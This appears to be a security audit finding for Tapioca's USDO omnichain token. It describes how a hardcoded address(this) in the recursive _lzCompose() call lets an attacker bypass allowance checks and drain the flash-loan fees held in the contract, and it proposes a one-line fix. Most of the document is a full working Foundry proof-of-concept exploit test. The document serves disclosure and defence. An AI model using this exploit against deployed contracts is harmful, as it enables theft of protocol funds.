Recursive _lzCompose() call can be leveraged to steal all generated USDO fees
It is possible to steal all generated USDO fees by leveraging the recursive _lzCompose() call triggered in compose calls.\\nThe `USDOFlashloanHelper` contract allows users to take USDO flash loans. When a user takes a flash loan some fees will be enforced and transferred to the USDO contract:\\n```\\n// USDOFlashloanHelper.sol\\nfunction flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)\\n        external\\n        override\\n        returns (bool)\\n    {\\n   \\n        // rest of code\\n\\n        IERC20(address(usdo)).safeTransferFrom(address(receiver), address(usdo), fee);\\n \\n        _flashloanEntered = false;\\n\\n        return true;\\n    }\\n```\\n\\nSuch fees can be later retrieved by the owner of the USDO contract via the `extractFees()` function:\\n```\\n// Usdo.sol\\nfunction extractFees() external onlyOwner { \\n        if (_fees > 0) {\\n            uint256 balance = balanceOf(address(this));\\n\\n            uint256 toExtract = balance >= _fees ? _fees : balance;\\n            _fees -= toExtract;\\n            _transfer(address(this), msg.sender, toExtract);\\n        }\\n    }\\n```\\n\\nHowever, such fees can be stolen by an attacker by leveraging a wrong parameter set when performing a compose call.\\nWhen a compose call is triggered, the internal `_lzCompose()` call will be triggered. This call will check the `msgType_` and execute some logic according to the type of message requested. After executing the corresponding logic, it will be checked if there is an additional message by checking the `nextMsg_.length`. If the compose call had a next message to be called, a recursive call will be triggered and `_lzCompose()` will be called again:\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n \\n        // Decode OFT compose message.\\n        (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n            TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n        // Call Permits/approvals if the msg type is a permit/approval.\\n        // If the msg type is not a permit/approval, it will call the other receivers. \\n        if (msgType_ == MSG_REMOTE_TRANSFER) {   \\n            _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);   \\n        } else if (!_extExec(msgType_, tapComposeMsg_)) { \\n            // Check if the TOE extender is set and the msg type is valid. If so, call the TOE extender to handle msg.\\n            if ( \\n                address(tapiocaOmnichainReceiveExtender) != address(0)\\n                    && tapiocaOmnichainReceiveExtender.isMsgTypeValid(msgType_)\\n            ) {  \\n                bytes memory callData = abi.encodeWithSelector(\\n                    ITapiocaOmnichainReceiveExtender.toeComposeReceiver.selector,\\n                    msgType_,\\n                    srcChainSender_, \\n                    tapComposeMsg_\\n                ); \\n                (bool success, bytes memory returnData) =\\n                    address(tapiocaOmnichainReceiveExtender).delegatecall(callData);\\n                if (!success) {\\n                    revert(_getTOEExtenderRevertMsg(returnData));\\n                }\\n            } else {\\n                // If no TOE extender is set or msg type doesn't match extender, try to call the internal receiver.\\n                if (!_toeComposeReceiver(msgType_, srcChainSender_, tapComposeMsg_)) {\\n                    revert InvalidMsgType(msgType_);\\n                }\\n            }\\n        }\\n   \\n        emit ComposeReceived(msgType_, _guid, tapComposeMsg_);\\n        if (nextMsg_.length > 0) {\\n            _lzCompose(address(this), _guid, nextMsg_);\\n        }\\n    }\\n```\\n\\nAs we can see in the code snippet's last line, if `nextMsg_.length > 0` an additional compose call can be triggered . The problem with this call is that the first parameter in the `_lzCompose()` call is hardcoded to be `address(this)` (address of USDO), making the `srcChainSender_` become the USDO address in the recursive compose call.\\nAn attacker can then leverage the remote transfer logic in order to steal all the USDO tokens held in the USDO contract (mainly fees generated by flash loans).\\nForcing the recursive call to be a remote transfer, `_remoteTransferReceiver()` will be called. Because the source chain sender in the recursive call is the USDO contract, the `owner` parameter in the remote transfer (the address from which the remote transfer tokens are burnt) can also be set to the USDO address, making the allowance check in the `_internalTransferWithAllowance()` call be bypassed, and effectively burning a desired amount from USDO.\\n```\\n// USDO.sol\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n        RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\\n\\n        \\n        /// @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.\\n        _internalTransferWithAllowance(\\n            remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n        );   \\n          \\n        // rest of code\\n    }\\n\\nfunction _internalTransferWithAllowance(address _owner, address srcChainSender, uint256 _amount) internal {\\n        \\n        if (_owner != srcChainSender) {   // <------- `_owner` and `srcChainSender` will both be the USDO address, so the check in `_spendAllowance()` won't be performed\\n            _spendAllowance(_owner, srcChainSender, _amount);\\n        }\\n    \\n        _transfer(_owner, address(this), _amount);\\n    } \\n```\\n\\nAfter burning the tokens from USDO, the remote transfer will trigger a call to a destination chain to mint the burnt tokens in the origin chain. The receiver of the tokens can be different from the address whose tokens were burnt, so an attacker can obtain the minted tokens in the destination chain, effectively stealing all USDO balance from the USDO contract.\\nAn example attack path would be:\\nAn attacker creates a compose call from chain A to chain B. This compose call is actually composed of two messages:\\nThe first message, which won't affect the attack and is simply the initial step to trigger the attack in the destination chain\\nThe second message (nextMsg), which is the actual compose message that will trigger the remote transfer and burn the tokens in chain B, and finally trigger a call back to chain A to mint he tokens\\nThe call is executed, chain B receives the call and triggers the first compose message (as demonstrated in the PoC, this first message is not important and can simply be a remote transfer call with a 0 amount of tokens). After triggering the first compose call, the second compose message is triggered. The USDO contract is set as the source chain sender and the remote transfer is called. Because the owner set in the compose call and the source chain sender are the same, the specified tokens in the remote transfer are directly burnt\\nFinally, the compose call triggers a call back to chain A to mint the burnt tokens in chain B, and tokens are minted to the attacker\\n\\nThe following proof of concept illustrates how the mentioned attack can take place. In order to execute the PoC, the following steps must be performed:\\nCreate an `EnpointMock.sol` file inside the `test` folder inside `Tapioca-bar` and paste the following code (the current tests are too complex, this imitates LZ's endpoint contracts and reduces the poc's complexity):\\n```\\n// SPDX-License-Identifier: LZBL-1.2\\n\\npragma solidity ^0.8.20;\\n\\nstruct MessagingReceipt {\\n    bytes32 guid;\\n    uint64 nonce;\\n    MessagingFee fee;\\n}\\n\\nstruct MessagingParams {\\n    uint32 dstEid;\\n    bytes32 receiver;\\n    bytes message;\\n    bytes options; \\n    bool payInLzToken;\\n}\\n\\nstruct MessagingFee {\\n    uint256 nativeFee;\\n    uint256 lzTokenFee;\\n}\\ncontract MockEndpointV2  {\\n\\n  \\n    function send(\\n        MessagingParams calldata _params,\\n        address _refundAddress\\n    ) external payable  returns (MessagingReceipt memory receipt) {\\n        // DO NOTHING\\n    }\\n\\n    /// @dev the Oapp sends the lzCompose message to the endpoint\\n    /// @dev the composer MUST assert the sender because anyone can send compose msg with this function\\n    /// @dev with the same GUID, the Oapp can send compose to multiple _composer at the same time\\n    /// @dev authenticated by the msg.sender\\n    /// @param _to the address which will receive the composed message\\n    /// @param _guid the message guid\\n    /// @param _message the message\\n    function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message) external {\\n         // DO NOTHING\\n        \\n    }\\n  \\n}\\n```\\n\\nImport and deploy two mock endpoints in the `Usdo.t.sol` file\\nChange the inherited OApp in `Usdo.sol` 's implementation so that the endpoint variable is not immutable and add a `setEndpoint()` function so that the endpoint configured in `setUp()` can be chainged to the newly deployed endpoints\\nPaste the following test insde `Usdo.t.sol` :\\n```\\nfunction testVuln_USDOBorrowFeesCanBeDrained() public {\\n\\n        // Change configured enpoints\\n\\n        endpoints[aEid] = address(mockEndpointV2A);\\n        endpoints[bEid] = address(mockEndpointV2B);\\n\\n        aUsdo.setEndpoint(address(mockEndpointV2A));\\n        bUsdo.setEndpoint(address(mockEndpointV2B));\\n\\n        \\n        // Mock generated fees\\n        deal(address(bUsdo), address(bUsdo), 100 ether);\\n\\n        ////////////////////////////////////////////////////////\\n        //                 PREPARE MESSAGES                   //\\n        ////////////////////////////////////////////////////////\\n\\n        // NEXT MESSAGE    B --> A      (EXECUTED AS THE nextMsg after the INITIAL  B --> A MESSAGE)            \\n\\n        SendParam memory sendParamAToBVictim = SendParam({\\n            dstEid: aEid,\\n            to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n            amountLD: 100 ether, // IMPORTANT: This must be set to the amount we want to steal\\n            minAmountLD: 100 ether,\\n            extraOptions: bytes(""),\\n            composeMsg: bytes(""),\\n            oftCmd: bytes("")\\n        });  \\n        MessagingFee memory feeAToBVictim = MessagingFee({\\n            nativeFee: 0,\\n            lzTokenFee: 0\\n        });\\n        \\n        LZSendParam memory lzSendParamAToBVictim = LZSendParam({\\n            sendParam: sendParamAToBVictim,\\n            fee: feeAToBVictim,\\n            extraOptions: bytes(""),\\n            refundAddress: makeAddr("attacker")\\n        });\\n\\n        RemoteTransferMsg memory remoteTransferMsgVictim = RemoteTransferMsg({\\n            owner: address(bUsdo), // IMPORTANT: This will make the attack be triggered as bUsdo will become the srcChainSender in the nextMsg compose call\\n            composeMsg: bytes(""),\\n            lzSendParam: lzSendParamAToBVictim\\n        });\\n\\n        uint16 index; // needed to bypass Solidity's encoding literal error\\n        // Create Toe Compose message for the victim\\n        bytes memory toeComposeMsgVictim = abi.encodePacked(\\n            PT_REMOTE_TRANSFER, // msgType\\n            uint16(abi.encode(remoteTransferMsgVictim).length), // message length (0)\\n            index, // index\\n            abi.encode(remoteTransferMsgVictim), // message\\n            bytes("") // next message\\n        );\\n \\n        // SECOND MESSAGE (composed)     B ---> A      \\n        // This second message is a necessary step in order to reach the execution\\n        // inside `_lzCompose()` where the nextMsg can be triggered\\n\\n        SendParam memory sendParamBToA = SendParam({\\n            dstEid: aEid,\\n            to: OFTMsgCodec.addressToBytes32(address(aUsdo)),\\n            amountLD: 0, \\n            minAmountLD: 0,\\n            extraOptions: bytes(""),\\n            composeMsg: bytes(""),\\n            oftCmd: bytes("")\\n        });  \\n        MessagingFee memory feeBToA = MessagingFee({\\n            nativeFee: 0,\\n            lzTokenFee: 0\\n        });\\n        \\n        LZSendParam memory lzSendParamBToA = LZSendParam({\\n            sendParam: sendParamBToA,\\n            fee: feeBToA,\\n            extraOptions: bytes(""),\\n            refundAddress: makeAddr("attacker")\\n        });\\n\\n        // Create remote transfer message\\n        RemoteTransferMsg memory remoteTransferMsg = RemoteTransferMsg({\\n            owner: makeAddr("attacker"),\\n            composeMsg: bytes(""),\\n            lzSendParam: lzSendParamBToA\\n        });\\n\\n        // Create Toe Compose message\\n        bytes memory toeComposeMsg = abi.encodePacked(\\n            PT_REMOTE_TRANSFER, // msgType\\n            uint16(abi.encode(remoteTransferMsg).length), // message length\\n            index, // index\\n            abi.encode(remoteTransferMsg),\\n            toeComposeMsgVictim // next message: IMPORTANT to set this to the A --> B message that will be triggered as the `nextMsg`\\n        );\\n         \\n        // INITIAL MESSAGE       A ---> B                      \\n\\n        // Create `_lzSendParam` parameter for `sendPacket()`\\n        SendParam memory sendParamAToB = SendParam({\\n            dstEid: bEid,\\n            to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")), // address here doesn't matter\\n            amountLD: 0,\\n            minAmountLD: 0,\\n            extraOptions: bytes(""),\\n            composeMsg: bytes(""),\\n            oftCmd: bytes("")\\n        });  \\n        MessagingFee memory feeAToB = MessagingFee({\\n            nativeFee: 0,\\n            lzTokenFee: 0\\n        });\\n        \\n        LZSendParam memory lzSendParamAToB = LZSendParam({\\n            sendParam: sendParamAToB,\\n            fee: feeAToB,\\n            extraOptions: bytes(""),\\n            refundAddress: makeAddr("attacker")\\n        });\\n\\n        vm.startPrank(makeAddr("attacker"));\\n        aUsdo.sendPacket(lzSendParamAToB, toeComposeMsg);\\n\\n        // EXECUTE ATTACK\\n\\n        // Execute first lzReceive() --> receive message in chain B\\n    \\n        vm.startPrank(endpoints[bEid]);\\n        UsdoReceiver(address(bUsdo)).lzReceive(\\n            Origin({sender: OFTMsgCodec.addressToBytes32(address(aUsdo)), srcEid: aEid, nonce: 0}), \\n            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n            abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n                sendParamAToB.to,\\n                 index,  // amount (use an initialized 0 variable due to Solidity restrictions)\\n                OFTMsgCodec.addressToBytes32(makeAddr("attacker")), // initially, the sender for the first A --> B message is the attacker\\n                toeComposeMsg\\n            ), // message\\n            address(0), // executor (not used)\\n            bytes("") // extra data (not used)\\n        );\\n\\n        // Compose message is sent in `lzReceive()`, we need to trigger `lzCompose()`.\\n        // bUsdo will be burnt from the bUSDO address, and nextMsg will be triggered to mint the burnt amount in chain A, having \\n        // the attacker as the receiver\\n        UsdoReceiver(address(bUsdo)).lzCompose(\\n            address(bUsdo), \\n            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n            abi.encodePacked(OFTMsgCodec.addressToBytes32(address(aUsdo)), toeComposeMsg), // message\\n            address(0), // executor (not used)\\n            bytes("") // extra data (not used)\\n        );\\n\\n        vm.startPrank(endpoints[aEid]);\\n\\n        // Receive nextMsg in chain A, mint tokens to the attacker\\n        uint64 tokenAmountSD = usdoHelper.toSD(100 ether, aUsdo.decimalConversionRate());\\n\\n        UsdoReceiver(address(aUsdo)).lzReceive(\\n            Origin({sender: OFTMsgCodec.addressToBytes32(address(bUsdo)), srcEid: bEid, nonce: 0}), \\n            OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n            abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n                OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n                tokenAmountSD\\n            ), // message\\n            address(0), // executor (not used)\\n            bytes("") // extra data (not used)\\n        );\\n        \\n\\n        // Finished: bUSDO fees get drained, attacker obtains all the fees in the form of aUSDO\\n        assertEq(bUsdo.balanceOf(address(bUsdo)), 0);\\n        assertEq(aUsdo.balanceOf(makeAddr("attacker")), 100 ether);\\n          \\n    }\\n```\\n\\nRun the poc with the following command: `forge test --mt testVuln_USDOBorrowFeesCanBeDrained`\\nThe proof of concept shows how in the end, USDO's `bUsdo` balance will become 0, while the same amount ofaUsdo in chain A will be minted to the attacker.
Ensure that the `_lzCompose()` call triggered when a `_nextMsg` exists keeps a consistent source chain sender address, instead of hardcoding it to `address(this)` :\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n \\n        // Decode OFT compose message.\\n        (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n            TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n        // rest of code\\n   \\n        emit ComposeReceived(msgType_, _guid, tapComposeMsg_);\\n        if (nextMsg_.length > 0) {\\n// Remove the line below\\n            _lzCompose(address(this), _guid, nextMsg_);‚\\n// Add the line below\\n            _lzCompose(srcChainSender_, _guid, nextMsg_);\\n        }\\n    }\\n```\\n
High, all fees generated by the USDO contract can be effectively stolen by the attacker
```\\n// USDOFlashloanHelper.sol\\nfunction flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)\\n        external\\n        override\\n        returns (bool)\\n    {\\n   \\n        // rest of code\\n\\n        IERC20(address(usdo)).safeTransferFrom(address(receiver), address(usdo), fee);\\n \\n        _flashloanEntered = false;\\n\\n        return true;\\n    }\\n```\\n